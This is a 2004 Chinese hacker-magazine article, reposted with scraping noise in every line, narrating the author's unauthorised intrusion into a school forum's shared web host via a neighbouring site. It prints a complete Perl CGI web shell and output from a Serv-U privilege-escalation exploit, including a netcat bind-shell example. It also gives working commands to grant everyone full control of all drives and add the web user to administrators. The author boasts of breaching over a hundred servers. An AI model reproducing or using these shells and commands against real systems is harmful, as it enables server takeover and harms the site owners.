剑走偏锋——灵巧的旁注攻击
7 J: C) W k7 t2 A0 c+ k本文作者:angel
9 R- K' g- t& k( _) C+ L Y文章性质:原创
0 _# `% j- D( x! f6 H' |8 @发布日期:2004-11-09 , S) o( _; \ B+ p/ o( k1 k, b
注意:
* g* f( E) t/ C+ M" J3 N/ r本文的技术并不是最新的,涉及到的技术含量也不是很多,重要的是其中的渗透思路。
k( R$ j5 q n( ?本文已在《黑客X档案》11月刊发表,版权归本站及其杂志社所有。
+ l$ c1 b2 N( B0 f7 Q) a8 n9 `* w7 {2 @
终于高中毕业了,一定要在暑假努力学习,发奋学习,以前入侵少之又少,都是研究这样研究那样,实战经验太欠缺了,所以决定暑假恶补一下渗透技术,顺便又可以看看国内主机的安全性。暑假 6 月整整学习了一个月的渗透,从 xiaolu 身上学习到不少好的思路和经验。在此谢谢 xiaolu 了。
1 A4 r2 G0 [% H5 ~. M% O2 [* ~; W- e5 B9 u/ b. K* ?
一个多月的时间里,渗透过上百台服务器,有独立的,有虚拟主机的,有群组的,有国内和国外,我发现一个极其严重的问题,国外的服务器,普遍安全性都非常高,管理员的安全意识非常高,做个比例,如果国内平均每 10 台服务器,能渗透进去 6 台甚至更多,那国外、台湾的,平均每 10 台服务器仅仅能渗透 1 台。当然我的水平也是一个问题。可是却反映出国内的管理员的水平的的确确比国外的要差几个档次。国内的管理员的技术和意识,迫切需要大幅度提高。
8 B: g4 i+ d$ U8 Q0 Y e; n! c0 n5 P u
不过国内的也有比较 BT 的管理员,我就遇见几个服务器设置得非常。其中一个的 Documents and Settings 目录下还有 nsfocus 目录,难道是 nsfocus 公司帮做的安全?这个服务器我们没有拿下,还有另外一个,就是今天的重点。 , u/ Q) g% x8 ]
* v8 O8 q+ r, ^- \4 R; T
一次看见了一个学校论坛(http://www.school.com),还蛮火爆的,顿时兴趣来了, ping 了一下,发现 4 个包都返回 Request timed out. 估计是搞了策略或者防火墙的,象我这种以 Web 安全的,自然喜欢从站点上找漏洞,自从学习 Web 开始,我就落下一个怪癖,就是如果实在从 Web 上找不到什么漏洞,宁愿放弃也不用什么漏洞扫描器。
: |1 Z- w, g9 y9 ]1 ]( q/ o( q8 j* G* `+ \* V/ A H
大概看了看站点。就是一个论坛,采用 LeadBBS ,拿这个论坛没辙,还有其他办法,因为刚才我访问这个 IP ,返回“No web site is configured at this address.”,初步判断是虚拟主机,前段时间那几个黑站狂黑站的成功几率为什么这么高?因为有 http://whois.webhosting.info 这个网站,可以查询一个 IP 上,绑定了多少个域名。如果真的是虚拟主机,这个学校论坛没有漏洞,不代表其他站点就没有,很快的,我就通过一个小公司站点( http://anyhost/ )上的 DVBBS 6.0 传了一个 aspshell 上去,谁知道仅仅能够对自己的目录进行操作。而且自己的目录没有执行程序的权限,又用不了 Nfso ,手工跳转 URL 中的目录,也没有多少个可以浏览的,重要的 Program Files 和 Documents and Settings 目录都看不了,从 aspshell 反馈的信息来看,每个站点都设置了单独的用户,似乎一切都陷入僵局。 , o' Y X; j) ~! a7 D; V
2 O% V' c/ k) V3 U2 M0 h* ]2 ^) s/ O' B
没有目的的跳转目录着…… 9 |* Z9 q( X, i6 z& ?9 h- r9 O2 S
% B, o0 {! j8 u4 _ 我习惯性的在 URL 跳转到 c:\php,没想到居然可以看见了,那这个主机很可能就会支持 php 了,马上传了一个 phpspy 上去,非常幸运,顺利看到了登陆入口,可是没想到进入以后才发现,php.ini 亦设置得异常 BT,安全模式打开了, phpinfo 函数也被禁用了,看不了详细的系统信息,不过看 phpspy 自带的探针可以发现,allow_url_fopen、display_errors、 register_globals 统统关闭,system、passthru、exec、shell_exec 几个函数都无一幸免的被禁用了,直接跳转目录还是只可以看到这些目录而已,各个站点的目录都是类似于 “D:\websites\school.com#dlfjurdlkfjk” 这样的,每个站点目录后面的那些字符串都不一样,也跳转不到,后来我猜测后面的字符串就是 ftp 密码,试验了一下,无法登陆,看似柳暗花明,希望又破灭了……
1 l& E! k* u0 y1 n" a8 d% d, Z& I# ]/ M# S8 }7 N
结束了吗?不,我试着 FTP 一下:
- q" u+ p" c/ X" g/ y: n& `
% u. ] ^/ E( T) TMicrosoft Windows 2000 [Version 5.00.2195] l T! X6 T; t6 g3 A$ R
(C) 版权所有 1985-2000 Microsoft Corp.
2 s6 n5 Y$ c0 m* s5 j, E! [
1 f1 u7 k7 |0 y: r A" x9 Y- GC:\Documents and Settings\Administrator>ftp www.school.com q. w2 z ^8 t2 [; z
Connected to www. school.com. $ U' Y# F+ X9 h! s) M6 }* H
220 Welcome to FTP Server... R1 j: o0 A7 m* I" K+ f
User (www.bjtrq.com:(none)):
: ^, W$ X+ ~* @% d331 User name okay, need password. $ `! c" u% q6 m; S& q: U* ^! l
Password: ( N* o) Z- H! `: Q
530 Not logged in. ; @6 d. B3 b# |# r; L) a m
Login failed. , H' H0 U8 _& o; l5 F
ftp> bye ( }, @4 o. z; E
221 Goodbye!
8 X* B8 l- V. g 3 U6 H. h2 Q; s8 `
/ Z, q* L$ l% ^: a8 D 从返回的信息判断,我们还是有希望的。尽管他修改了 FTP Server 的 Banner,但是从 User name okay, need password. 这句我们还是大胆的判断这个服务器就是采用 Serv-U ,我上手有目前所有版本 Serv-U 本地提升权限的 Exploit ,如果我能传一个上去,并且能够执行,一切就明朗了。再仔细想想有哪个目录可以写的?当时在 c:\php 目录下没有发现 sessiondata 目录,而且也不是自动安装版,估计管理员把 session 的目录换到其他地方了,不然这个目录是 everyone 可写的……
$ {1 u0 |& w) u+ q/ |! h% x- h2 K6 r5 r; G4 M0 d+ v# t
原来我还忘记了一个最重要的目录, C:\Documents and Settings\All Users ,从这个目录可以知道很多信息,这个目录一般、至少都是 everyone 可读的,这样我们就可以知道好多有用的信息了,直接通过我的 aspshell 手工跳转到这个目录,呵呵。马上看到了想看的目录树。
9 d9 z5 i' x9 K* u
# j3 k! U! r. c# UApplication Data* g% g: A8 H% ^3 J% p% W8 W
Documents) H6 e2 {! R/ m3 K( h5 W. U
DRM% m, I7 Y2 g: [0 y+ `/ Z
Favorites1 j- O! j+ w5 a5 s
Templates
' y* c$ H. ?6 [" C: ~「开始」菜单
1 F% p; i2 s6 V7 h桌面
. x1 ]. H5 b6 o1 H$ D, ~4 G
7 @& S; |1 f3 {8 ?( l J! ?# f4 r! O8 J6 Z2 ]4 D- Y
马上试试建目录,可惜里面的目录包括子目录都无法新建, BT 管理员权限设置得还真严格,不过我们还是有收获的,那就是 “C:\Documents and Settings\All Users\ 「开始」菜单 \ 程序 \”目录里,看到了很多决定结果的有用信息, # ~8 ]$ ]) g* |5 F, C
' u! a) M. R. |3 QActiveState ActivePerl 5.8
; J4 C9 y1 M( x, }9 CAdministrative Tools5 m A" v/ k5 H# r' t0 U8 {! t
Deerfield.com
' i1 y6 \. A$ c& mDTemp8 \+ @% m y; W c
IPSentry
. |' x: u& P( b* W+ `MBM 5! f6 t$ z: {, L
NetMeter- h( a2 r6 Y/ d' G2 A
Network ICE
. T* E9 P8 i \8 b9 oPersits Software AspEmail7 ~6 ]1 k4 L _: ^( m
Persits Software AspJpeg) d4 ]) h8 _6 Z
Serv-U FTP Server7 s) R3 y( J# g! J
Symantec Client Security) R a- g! Q7 R$ ^' ]
Windows 优化大师
$ d \! f% i- E4 O/ K+ [* V7 KWinRAR
0 E- b: N9 s0 v5 N; m启动* _1 m+ e& \0 r9 Z8 a
管理工具
3 x. r3 P/ S6 f# `, K3 s附件- Y8 k5 P! j/ ]3 J+ u$ U q
) F: R1 q: X$ J) W b' x
3 n% n8 _( [4 K4 f 呵呵,现在我们知道了好多有用的信息了,看着这些东西,可以看得出管理员对安全、效率很在意,装了 Perl,也就是说可能支持 cgi 了, IPSentry 这个可以实时检测网站的各类服务, 当某服务停止时, 该软件会打 Pager, 或 EMAIL,或发声,或运行其它软件来提醒管理员,确保服务器出现问题能及时处理,说明管理员比较负责任,NetMeter 可以对网络流量进行监控,装了黑冰防火墙和诺顿杀毒服务器版,说明管理员对于服务器的安全是很小心的,这还不算,还装了另外一个防火墙——VisNetic Firewall,真是 BT 到家了,装了优化大师,看得出这个管理员还是比较爱清洁的。从管理工具里面我们还看到了终端服务客户端生成器.lnk 、终端服务配置.lnk ,还有终端服务,这下好了,说不定顺利就可以多一台 3389 肉鸡了。
) [% L3 E# D$ ^7 i2 j8 U0 M) }( e8 k( P7 G
先通过 aspshell 下载 Serv-U 的任意一个快捷方式,然后本地查看属性的目标,呵呵,原来 Serv-U 的目录是 "C:\Program Filesewfq4qrqtgy4635\Serv-U\" ,这下好了,直接跳转目录。OH~,yes~~,看到了,马上修改 ServUDaemon.ini文件,这个服务器居然放了 280 个用户,狂晕……不管了,先在添加 [Domain1] 里加一行: 4 w; b# w: I0 V
+ @. a7 }; N' B i
User281=angel|1|0
+ E/ x# F; P1 G
$ p' \0 g5 {, F7 `* }8 B( u- X0 l2 W
然后加上
( d- ~7 U: P* C- s8 @6 o) I9 r, X- k. e1 K
[USER=angel|1] V a9 x$ J* P( Y% Q
Password=ng98F85379EA68DBF97BAADCA99B69B8058 F* H; H- b6 R! v
HomeDir=D:\websites
' Q. i( h. x" IRelPaths=10 l2 u# n1 j c$ N9 E0 I
TimeOut=600
& h4 D1 n' P$ _& C6 A/ i! \% l, TMaintenance=System- \- F: h2 a1 N' ]+ a) N
Access1=D:\websites|RWAMELCDP
# \- h) s# c8 e1 ?( a0 iSKEYValues=
8 ]$ @' i [! P C8 g
& k/ P9 c/ a1 a/ h, k, y* f r; D6 z- q% n1 B' a
添加一个 angel,密码为 111111 的用户,具有最高权限执行,然后我们就可以 ftp 上去 quote site exec xxxxxxxx 了,嘻嘻偷笑中……
6 I" {6 ^% l5 l c- o) i
8 f- k+ r! a6 I0 r 不过残酷现实再一次粉碎了我的计划,修改好文件以后提交,居然是没有修改成功,看来还是权限,权限权限整惨人啊。
" _9 F9 ~$ ^: H! p0 o1 I' K- z9 T& Z1 h6 y8 H% f
不过还是有希望的,因为刚才我们看到了系统装了黑冰,有些版本存在“ISS RealSecure/BlackICE 协议分析模块 SMB 解析堆溢出漏洞”,可以远程利用的,手头上没有编译器,没有办法编译代码。
; Q. F, d2 j" _: q
. r6 G! J- h3 A% ^ 还有就是 Perl,这个是个很大的突破口,因为 Perl 目录一般要 erveryone 完全控制的,不管他用 isap 还是 perl.exe 一般都是可写、可执行的,马上下载 Perl 的快捷方式来看看路径,呵呵,看到了,原来 D:\user\bin 就是存放 perl 的 bin 目录下的所有文件,这么说这个目录可能可以写,也可能可以执行咯,马上传一个 su.exe(针对目前所有版本的 Serv-U 本地提升权限漏洞)上去,呵呵,传上去了,太好了,现在就是执行了,刚才我们试了 aspshell、phpshell 都不行,现在就看最后的希望了,找呀找啊,终于在我硬盘上找到一个 cgishell,很老了,文件日期是 2002 年 6 月 30 日的,代码如下: , ~& }+ x0 d9 N$ R! Q9 g
" x/ `3 C7 j% {4 ^* P( \2 j% m3 {
#!/usr/bin/perl
- L3 f) O0 O) @4 X: a9 abinmode(STDOUT);
! M# j( `. r: Ksyswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);
% T" v2 L+ T" n( Z$_ = $ENV{QUERY_STRING};
- [4 u) s, ^+ D* j. p9 t- ts/%20/ /ig;; }4 D; L' f, ] `, G: R8 D6 U2 l
s/%2f/\//ig;
6 X4 _5 T7 ~- @" R4 ~1 _$execthis = $_;/ C& e/ U* E2 b$ O# v& Q! ~& ]" O
syswrite(STDOUT, "<HTML><PRE>\r\n", 13);& `+ \) t- D. V' Z* Q: [; F
open(STDERR, ">&STDOUT") || die "Can't redirect STDERR";
& ?0 G5 Y! u0 S* I5 ^* { r: v1 csystem($execthis);/ F; |3 N; f2 c; r+ L
syswrite(STDOUT, "\r\n</PRE></HTML>\r\n", 17);
% J3 Z$ }, O3 t* fclose(STDERR);
# ]: R& V1 C1 K' E0 Z1 s' V, [close(STDOUT);/ C2 P3 ~/ |; K4 \2 l
exit;
2 G; J. E, a; b6 Q2 }7 h4 Z1 r
5 B1 \ e1 G* K/ }3 A) |6 [( v/ Y- j- b
我用过最好的 cgishell ,保存为一个 cgi 文件执行,晕……居然不支持!一阵阵郁闷袭来,2 秒钟的郁闷后,想到还有一线希望,那就是pl ,我们还没有试试 pl 扩展呢,把刚才的 cgi 文件改为 pl 文件,提交 http://anyhost//cmd.pl?dir ,我的天啊!!
- Y9 g3 p7 u4 O2 f/ u
. ]5 G8 K$ M$ h, P) W9 Q3 u 显示“拒绝访问”,终于可以执行了!太兴奋了,马上提交:
7 m- y8 P1 _( t0 f# _! ?& P" d0 t: [* C8 Q/ D7 l5 b: i
http://anyhost//cmd.pl?d:\user\bin\su.exe - Z' Z: u- h1 W' u7 k" u% T) k( |
5 c. ?6 K; e% x( d
" a8 F9 A2 P. k/ m$ L 返回: 4 @+ M. s: o* ~$ U( Z0 r
3 P1 f3 p k& B/ O8 X5 ^$ I Q5 z; `& O
Serv-u >3.x Local Exploit by xiaolu
4 H0 M5 w1 H# d! `" R
: `! J2 o7 u8 e$ u/ y: [USAGE: serv-u.exe "command" 7 X! }3 S( ^. q8 ~
: k( O: [1 E! N1 A" Q$ O
Example: serv-u.exe "nc.exe -l -p 99 -e cmd.exe"
, n/ p. C6 L* r! e1 Y, i& t
) q# H5 M/ [; T* C- |$ g3 v% h7 k
, z3 N" ?& P1 k 嘻嘻~~现在是 IUSR 权限,那又怎么样?看你这次还不死?提交:
X# ]0 | T c$ `. _1 F0 V2 [8 |" }4 ~% q# @
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe c: /E /T /G everyone:F" 5 ]. E: w# Z' T5 R) U+ Z0 @0 q% i
, d! X% B3 e1 E. K) o
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe d: /E /T /G everyone:F"
3 Z$ Q& o" }* n# s+ \: P2 U; {) Y% w. F- X
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe e: /E /T /G everyone:F" - u2 K9 `5 \; I) b6 K
) z4 C, T0 _. q$ D: `5 H6 q/ R
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe f: /E /T /G everyone:F"
4 `1 x. R; P j# t k' `* D
( S* L5 W* q1 j9 x4 v7 D. Z$ J8 Y% Y" y
返回下面的信息,就表示成功了!!! 6 z/ K* B; \9 G7 e
" `) w4 E/ U. F8 L* \
Serv-u >3.x Local Exploit by xiaolu
2 @4 s* U' n( X6 S$ c
1 C8 j7 v0 e2 E' Q6 b<220 Serv-U FTP Server v5.2 for WinSock ready... . l* m# l0 \+ k3 R
" N+ `3 E) y! o0 @8 M>USER LocalAdministrator
( `# q, t" w2 f8 K+ D |5 F" g# z
<331 User name okay, need password.
& v" e2 n2 R3 l) d9 p
! c( @$ b' f) L% [: n4 ]****************************************************** 3 X! p4 r- h( F. T0 S; P9 ]
5 m. ?7 ^$ v; ^4 N# L>PASS #l@$ak#.lk;0@P 3 Z/ h" j- D, c t- R! z9 N0 W
6 j" b& ~& P. s5 R5 M2 f& g/ E8 E
<230 User logged in, proceed.
6 ]! h3 K) K, d
* W3 i4 T, K8 X" @) w* J$ Y, {******************************************************
) K* {( A l) }7 O3 L7 o! v% S; [8 x. d w# _$ F/ Y: i+ d
>SITE MAINTENANCE
7 u1 s0 D5 k+ f' @1 c8 i r; I3 J% L+ q4 b
******************************************************
; x3 u& J9 v. k7 a7 \$ m( _# H% s( x0 E
[+] Creating New Domain... $ V: I* i$ }% w7 Q% V
2 D9 D r" O" i<200-DomainID=2 2 M2 D9 B( P8 N
w7 t: d3 ?7 O# [, h( C& s1 ?<220 Domain settings saved % I9 F! e5 _6 `
2 `* \7 _% c- w
******************************************************
2 e% {& O7 |; A% ?* ^( v* I5 P8 p& [& O- Y: a5 M h; f7 ~
[+] Domain xl:2 Created ; y7 [$ N: f- {( Y b( R
8 u2 D4 z! j0 k, x2 D: o0 j[+] Creating Evil User
: C; ` `* z) G" o7 t
! x8 h# s" K0 t/ G) C9 Q<200-User=xl * o" B6 q5 K/ y: f0 U- `
) q7 |4 ]/ E) w, W* q- H2 g
200 User settings saved ) s+ \+ V- p. |. ?7 b1 f! |" R
6 x( k! b2 `3 _; k! q' L* K
******************************************************
) [9 Z# X4 H! e! ?" q, U! J$ _
; f7 T! j8 N" B5 z) j- ?0 P[+] Now Exploiting...
6 ^5 }2 t( S8 q) V2 k2 W
" a2 G6 j. I5 l4 }- k0 t>USER xl
2 d4 y6 i+ K! ~6 t3 U- R' o
$ X& y4 T" r2 M, }4 i<331 User name okay, need password. # P+ M2 D- i& w7 H5 [& l6 a" X [
5 J$ n" \3 N4 u" g1 E2 [0 u$ p0 n****************************************************** 1 E4 y" [, V2 I: q- p3 [
; {5 N7 T% ^* a; w
>PASS 111111 6 k$ |4 A. p4 {' Y! E% S0 J- S7 m
' D( G) `3 R# { f3 \. T
<230 User logged in, proceed.
0 Y! a) \, `/ b0 v7 q
! N, K, q! j* Q; [+ F+ ~******************************************************
4 A; V- ?! F' U5 k. p: \+ U6 t5 |
. l, ^- K$ J/ l# A, X[+] Now Executing: cacls.exe c: /E /T /G everyone:F
+ r! T' W8 ]* r4 u6 Y/ ?: S1 e( L8 N! n3 j. g, ~$ i
<220 Domain deleted * c1 F; m+ }7 r1 }+ {& `# o- p
, G% Z, V! ~7 g% a1 r. @****************************************************** 1 G) {1 m9 F! g* n! C( p
7 r# t9 K) A3 c( r; y/ ?1 n/ q1 H3 I
每提交完一次都稍微等一下,因为这些命令需要时间处理的,不一会儿,就把所有分区设置为 everyone 完全控制了,可以任意操作硬盘的东西了,但是有些命令还是受了限制,因为权限还没有提升,现在我们把自己的用户提升为管理员:
! s" i5 C* @& ~* A9 Q5 ?2 |. c
5 B8 u n3 I0 E9 Vhttp://anyhost//cmd.pl?d:\user\bin\su.exe " net localgroup administrators IUSR_anyhost /add"
) }# I8 \0 C: _2 S+ g# Q9 ]. W; Q 1 I' g; _( T9 |' U/ Z+ H
' }4 V) A5 {: u% I, f- P' X 现在我们通过 web 方式,执行的命令就是以 administrator 的身份执行的了,相信到这里,下面的事该做什么,大家应该知道了吧?马上找到那个学校的目录,进去咯~~目的达到了,本来还想做一个 3389 的肉鸡的,想想算了,这种 BT 管理员的地盘,我也占领不了多久,留点提示到他的桌面就 over 了。
1 N' F* C4 f, b- Y; m- U9 d, O/ v* Z+ ]7 i, |2 V- I/ m& k
说真的,搞安全这么久,从来没有遇见这么棘手的虚拟主机,要不是装了 Perl,还真是束手无策!本文技术含量不高,只是分享一下希望其中的思路,如果有一个人从中受益,这篇文章就完成它的使命了。1 H& c* x. A9 N! h
3 Y- V" |8 ^9 ?% R! b
; t' b- J/ @9 B% b7 i5 N3 Y( A! y3 X. C; O+ l
|